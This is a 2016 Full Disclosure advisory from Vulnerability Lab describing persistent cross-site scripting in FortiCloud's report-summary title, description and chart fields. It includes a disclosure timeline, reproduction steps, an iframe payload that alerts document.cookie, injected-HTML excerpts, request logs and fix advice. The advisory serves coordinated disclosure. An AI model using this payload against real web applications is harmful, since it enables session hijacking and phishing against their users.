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[FD] FortiCloud - (Reports Summary) Multiple Persistent Vulnerabilities
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] FortiCloud - (Reports Summary) Multiple Persistent Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 5 Aug 2016 09:31:35 +0200
Document Title:
===============
FortiCloud - (Reports Summary) Multiple Persistent Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1735
Release Date:
=============
2016-08-05
Vulnerability Laboratory ID (VL-ID):
====================================
1735
Common Vulnerability Scoring System:
====================================
3.6
Product & Service Introduction:
===============================
FortiCloud is a hosted solution that helps you manage your FortiGate® network
and your FortiAP® wireless infrastructure. The perfect companion to all
your FortiGate & FortiWiFi units. FortiCloud is a hosted security and wireless
infrastructure management solution and log retention service for FortiGate,
FortiWiFi and FortiAP devices. It gives you centralized reporting, traffic
analysis, configuration management, and log retention without the need for
additional hardware and software, with the following feature set:
( Copy of the Vendor Homepage:
http://docs.fortinet.com/uploaded/files/1730/forticloud-faq-25.pdf )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple
application-side validation vulnerabilities in the official Forticloud online
service web-application.
Vulnerability Disclosure Timeline:
==================================
2016-02-17: Researcher Notification & Coordination (Lawrence Amer)
2016-02-18: Vendor Notification (Fortguard PSIRT Security Team)
2016-03-02: Vendor Response/Feedback (Fortguard PSIRT Security Team)
2016-07-04: Vendor Fix/Patch (Fortinet Developer Team)
2016-07-22: Security Acknowledgements (Fortguard PSIRT Security Team)
2016-08-05: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple persistent cross site scripting web vulnerabilities has been discoverd
in the offical version of Forticloud online service web-application.
The security vulnerability allows remote attackers to inject own malicious
script codes on the application-side of the affected online service module.
The persistent input validation web vulnerabilities are located in the
`Template - Summary` module of the main `Reports` module. The encoding of the
add inputs in the title, description and charts is broken. Remote attackers
with low or privileged web-application user accounts are able to inject
own malicious script codes on the application-side of the reports - summary
module. The request method to inject is POST and the attack vector is
located on the application-side of the forticloud service. The injection point
are the title, description and charts add input fields and the
execution point is the reports - summary module of the web-application.
The security risk of the persistent validation vulnerabilities are estimated as
medium with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the persistent input validation web vulnerability requires a
low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing, persistent external redirects to malicious source and
persistent
manipulation of affected or connected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] FortiCloud - Reports - Templates
Vulnerable Input(s):
[+] Reports Main title
[+] Reports Descriptions
[+] Report Charts
Vulnerable Parameter(s):
[+] ext-gen2538, ext-gen2458 & gwt-HTML
[+] fc-rpt-description
[+] fc-rpt-title
[+] fc-rpt-chart
Affected Module(s):
[+] Summary (Main.html - Index)
Proof of Concept (PoC):
=======================
The application-side web vulnerabilities can be exploited by remote attackers
with low privileged application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the forticloud appliance web-application and login
2. Open the reports > templates module
3. Switch to Summary Reports
4. Edit existing or Add a new own title , description or chart
5. Inject as name value a script code payload (javascript)
Note: >"<iframe src=http://vulnerability-lab.com onload=alert(document.cookie) <
6. The execution occurs directly in the same input field context in the summary
module
7. Successful reproduce of the vulnerability!
PoC: Video
https://youtu.be/-WTAMxi1qzQ
PoC: Summary Reports - com.fortinet.gwt.Main/Main.html (Add Title)
"><iframe id="ext-gen2538" src="[PERSISTENT SCRIPT CODE
EXECUTION!]...</iframe></div></div></td><td id="ext-gen2541"
style="vertical-align: top;" align="right"><table id="ext-gen2543"
style="visibility: hidden;"><colgroup><col></colgroup>
<tbody><tr><td><img id="ext-gen2544" aria-hidden="false" style="padding-left:
12px; vertical-align: 1px;" title="Edit" class="img_link"
src="images/160/small_edit_icon.png"></td>
<td><img id="ext-gen2550" aria-hidden="false" style="padding-left: 12px;
padding-right: 12px; vertical-align: 1px;" title="Delete" class="img_link"
src="images/160/medium_close_icon.png"></td></tr></tbody></table></td></tr></tbody></table></td></tr>
<tr><td width="100%"><table aria-hidden="true" style="width: 100%; height:
100%; display: none;" cellpadding="0" cellspacing="0">
<tbody><tr><td style="vertical-align: top; width: 100%;" align="center"
height="" width=""><input style="width: 96%; height: 0px; margin: 8px;"
class="gwt-TextBox"
type="text"></td></tr></tbody></table></td></tr></tbody></table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr>
<tr><td><table id="ext-gen2522" class="fc-rpt-block fc-rpt-block-grey"
style="width: 100%;"><colgroup><col></colgroup><tbody id="ext-gen2524"><tr><td
width="100%">
<table id="ext-gen2526" style="width:
100%;"><colgroup><col></colgroup><tbody><tr><td id="ext-gen2525"
width="100%"><div style="white-space: nowrap;" class="gwt-HTML"></div></td>
<td align="right"><table style="padding-top:
5px;"><colgroup><col></colgroup><tbody><tr><td><img style="padding-right:
25px;"
class="img_link" src="images/160/medium_settings_icon.png"></td><td><img
style="padding-right: 25px;" title="Delete" class="img_link"
src="images/160/medium_close_icon.png">
PoC: Summary Reports - com.fortinet.gwt.Main/Main.html (Add Charts)
<tr><td style="vertical-align: top;" align="left"><div id="ext-gen2092"
style="" class="" aria-hidden="false" tabindex="0"><input style="opacity: 0;
height: 1px; width: 1px;
z-index: -1; overflow: hidden; position: absolute;" tabindex="-1"
type="text"><table id="ext-gen2094" style="width: 1026px; height: 100%;"
class="widget" cellpadding="0"
cellspacing="0"><colgroup><col></colgroup><tbody><tr><td><table
id="ext-gen2090" class="fc-rpt-title" style="width: 100%; background-color:
rgb(25, 115, 198);"><colgroup><col>
</colgroup><tbody><tr><td id="ext-gen2284" style="padding-left: 25px;"
align="left" width="100%"><div class="" tabindex="0"><input style="opacity: 0;
height: 1px; width: 1px;
z-index: -1; overflow: hidden; position: absolute;" tabindex="-1"
type="text"><div id="ext-gen2091" style="width: 100%; white-space: nowrap;"
class="gwt-HTML">">[PERSISTENT SCRIPT CODE EXECUTION!]<iframe id="ext-gen2458"
src="[PERSISTENT SCRIPT CODE EXECUTION!]></div></div></td><td id="ext-gen2213"
style="vertical-align: top;" align="right"><table id="ext-gen2095"
style="visibility: hidden;"><colgroup><col></colgroup><tbody><tr
id="ext-gen2216"><td id="ext-gen2286">
<img id="ext-gen2287" style="padding-left: 12px; vertical-align: 0px;"
class="img_link" src="images/160/medium_collapse_icon.png"></td><td
id="ext-gen2096"><img id="ext-gen2097"
style="padding-left: 12px; vertical-align: 1px;" title="Edit" class="img_link"
src="images/160/small_edit_icon_white.png"></td><td id="ext-gen2215"><img
id="ext-gen2214"
style="padding-left: 12px; padding-right: 12px; vertical-align: 1px;"
title="Delete" class="img_link"
src="images/160/medium_close_icon_white.png"></td></tr>
</tbody></table></td></tr></tbody></table></td></tr><tr><td width="100%"><table
aria-hidden="false" style="width: 100%; height: 100%;" cellpadding="0"
cellspacing="0">
<tbody><tr><td id="ext-gen2457" style="vertical-align: top; width: 100%;"
align="center" height="" width=""><img id="ext-gen2444" style="width: 96%;
margin: 8px;"
title="Sample Chart" class="gwt-Image"
src="images/portal/barchart2.png"></td></tr></tbody></table></td></tr></tbody></table></div></td></tr></tbody></table>
</td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody>
PoC: Summary Reports - com.fortinet.gwt.Main/Main.html (Add Description)
<tr><td id="ext-gen2643" align="left" width="100%"><div id="ext-gen2682"
class="" tabindex="0"><input style="opacity: 0; height: 1px; width: 1px;
z-index: -1; overflow:
hidden; position: absolute;" tabindex="-1" type="text"><div id="ext-gen2644"
style="width: 100%; white-space: nowrap;"
class="fc-rpt-description">%20<img>%20[PERSISTENT SCRIPT CODE
EXECUTION!]<iframe id="ext-gen2662"></iframe></div></div></td><td
id="ext-gen2654" style="vertical-align:
top;" align="right"><table id="ext-gen2655" style="visibility:
hidden;"><colgroup><col></colgroup><tbody><tr><td id="ext-gen2683"><img
id="ext-gen2645" aria-hidden="false"
style="padding-left: 12px; vertical-align: 1px;" title="Edit" class="img_link"
src="images/160/small_edit_icon.png"></td><td id="ext-gen2684"><img
id="ext-gen2685"
aria-hidden="false" style="padding-left: 12px; padding-right: 12px;
vertical-align: 1px;" title="Delete" class="img_link"
src="images/160/medium_close_icon.png">
</td></tr></tbody></table></td></tr>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://forticloud.localhost:7641/com.fortinet.gwt.Main/account
Mime Type[application/json]
Request Header:
Host[forticloud.localhost:7641]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101
Firefox/44.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Content-Type[text/x-gwt-rpc; charset=utf-8]
x-gwt-permutation[D7292270AC638FB6CE5F48AC977F99B4]
X-GWT-Module-Base[https://forticloud.localhost:7641/com.fortinet.gwt.Main/]
Referer[https://forticloud.localhost:7641/com.fortinet.gwt.Main/Main.html?locale=en_US&seq=1455786963849&logoutUrl=login.jsp&loginurl=]
Cookie[JSESSIONID=5AF2C62793B0AC3B70B31A150E1E1923]
Connection[keep-alive]
POST-Daten:
7|0|4|https://forticloud.localhost:7641/com.fortinet.gwt.Main/|3C6EAA58CDA996EE4B7102D4CDB7AFC4|com.fortinet.gwt.client.portal.account.AccountService|getLastLoginData|1|2|3|4|0|[]
Response Header:
Server[Apache-Coyote/1.1]
X-Frame-Options[SAMEORIGIN]
Content-Disposition[attachment]
Content-Type[application/json;charset=utf-8]
-
Status: 200[OK]
GET https://forticloud.localhost:7641/com.fortinet.gwt.Main/x[PERSISTENT
INJECTED SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[forticloud.localhost:7641]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101
Firefox/44.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Referer[https://forticloud.localhost:7641/com.fortinet.gwt.Main/Main.html?locale=en_US&seq=1455786963849&logoutUrl=login.jsp&loginurl=]
Cookie[JSESSIONID=5AF2C62793B0AC3B70B31A150E1E1923]
Connection[keep-alive]
Response Header:
Server[Apache-Coyote/1.1]
Cache-Control[private]
Expires[Wed, 31 Dec 1969 16:00:00 PST]
X-Frame-Options[SAMEORIGIN]
Content-Type[text/html;charset=utf-8]
Content-Length[1024]
Reference(s):
https://forticloud.localhost:7641/
https://forticloud.localhost:7641/com.fortinet.gwt.Main/
https://forticloud.localhost:7641/com.fortinet.gwt.Main/account
Solution - Fix & Patch:
=======================
1. Encode and parse the vulnerable input fields (title, charts and description)
2. Escape the input via edit and add
3. Restrict the input and disallow usage of special chars on add or edit
4. Encode the vulnerable summary module to prevent an application-side script
code execution
5. Implement a secure exception-handling to prevent further injection attacks
Updates are available for customers in the fortinet customer area or via
automated appliance update.
FortiCloud v3.0.0
Security Risk:
==============
The security risk of the application-side input validation web vulnerabilities
in the forticloud web-application are estimated as medium. (CVSS 3.6)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - (
http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )
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=========================
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